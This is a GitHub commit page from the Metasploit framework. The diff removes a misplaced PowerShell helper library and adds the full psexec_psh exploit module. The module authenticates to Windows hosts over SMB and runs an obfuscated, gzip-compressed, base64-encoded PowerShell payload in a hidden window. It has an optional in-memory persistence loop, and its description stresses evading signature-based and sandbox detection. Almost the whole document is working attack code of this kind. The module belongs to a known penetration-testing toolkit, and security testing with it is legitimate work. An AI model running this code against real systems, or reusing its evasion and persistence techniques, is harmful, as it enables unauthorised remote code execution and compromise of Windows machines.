Skip to content

Commit

Permalink
Fix git branch mauling - reintroduce psexec_psh
Browse files Browse the repository at this point in the history
Replace powershell lib which snuck in as psexec_psh.
Introduce psexec_psh module which uses the Rex and Msf PSH
methods provided in the lib import.
  • Loading branch information
RageLtMan committed Jul 28, 2013
1 parent 4df3b02 commit b3fab9a
Showing 1 changed file with 87 additions and 173 deletions.
260 changes: 87 additions & 173 deletions modules/exploits/windows/smb/psexec_psh.rb
Original file line number Diff line number Diff line change
@@ -1,189 +1,103 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell'

module Msf
module Exploit::Powershell
require 'msf/core'

class PshScript < Rex::Exploitation::Powershell::Script
end
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

def initialize(info = {})
super
register_advanced_options(
[
OptBool.new('RUN_WOW64', [
false,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
], self.class)
end
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Psexec
include Msf::Exploit::Powershell
include Msf::Auxiliary::Report
include Msf::Exploit::EXE

#
# Reads script into a PshScript
#
def read_script(script)
return PshScript.new(script)
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
'Description' => %q{
This module uses a valid administrator username and password to execute a powershell
payload using a similar technique to the "psexec" utility provided by SysInternals. The
payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline
using the -encodedcommand flag. Using this method, the payload is never written to disk, and
given that each payload is unique, is not very prone to signature based detection on the wire.
Since executing shellcode in .NET requires the use of system resources from unmanaged memory space,
the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided
to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event
of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection.
In order to avoid interactive process notifications for the current user, the psh payload has
been reduced in size and wrapped in a powershell invocation which hides the window entirely.
},

'Author' => [
'RageLtMan <rageltman[at]sempervictus'
],

'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 8192,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
]
))

register_options([
OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]),
OptBool.new('DryRun',[false,'dry run',false]),
], self.class)
end

#
# Insert substitutions into the powershell script
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end

subs.each do |set|
script.gsub!(set[0],set[1])
end
# if datastore['VERBOSE']
# print_good("Final Script: ")
# script.each_line {|l| print_status("\t#{l}")}
# end
return script
end

#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
def exploit
command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD'])
if datastore['DryRun']
print_good command
return
end
return new_subs
end

#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def compress_script(script_in, eof = nil)
# Build script object
psh = PshScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
#Try and authenticate with given credentials
if connect
begin
smb_login
rescue StandardError => autherror
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
return
end
# Execute the powershell command
begin
print_status("#{peer} - Executing the payload...")
#vprint_good(command)
return psexec(command)
rescue StandardError => exec_command_error
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
return false
end
disconnect
end
return psh.compress_code(eof)
end

#
# Runs powershell in hidden window raising interactive proc msg
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "

ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = "#{ps_bin}"
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
EOS

return ps_wrapper.gsub("\n",';')
def peer
return "#{rhost}:#{rport}"
end

#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, old_psh=false)
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
if datastore['PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture, manual method reduces script size
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
end


#
# Useful method cache
#
module PshMethods

#
# Convert binary to byte array, read from file if able
#
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end

return psh << lines.join("") + "\r\n"
end

#
# Download file to host via PSH
#
def self.download(src,target=nil)
target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
end

#
# Uninstall app
#
def self.uninstall(app,fuzzy=true)
match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end

#
# Create secure string from plaintext
#
def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
end

#
# MISC
#

#
# Find PID of file locker
#
def self.who_locked_file?(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end


def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end

0 comments on commit b3fab9a

Please sign in to comment.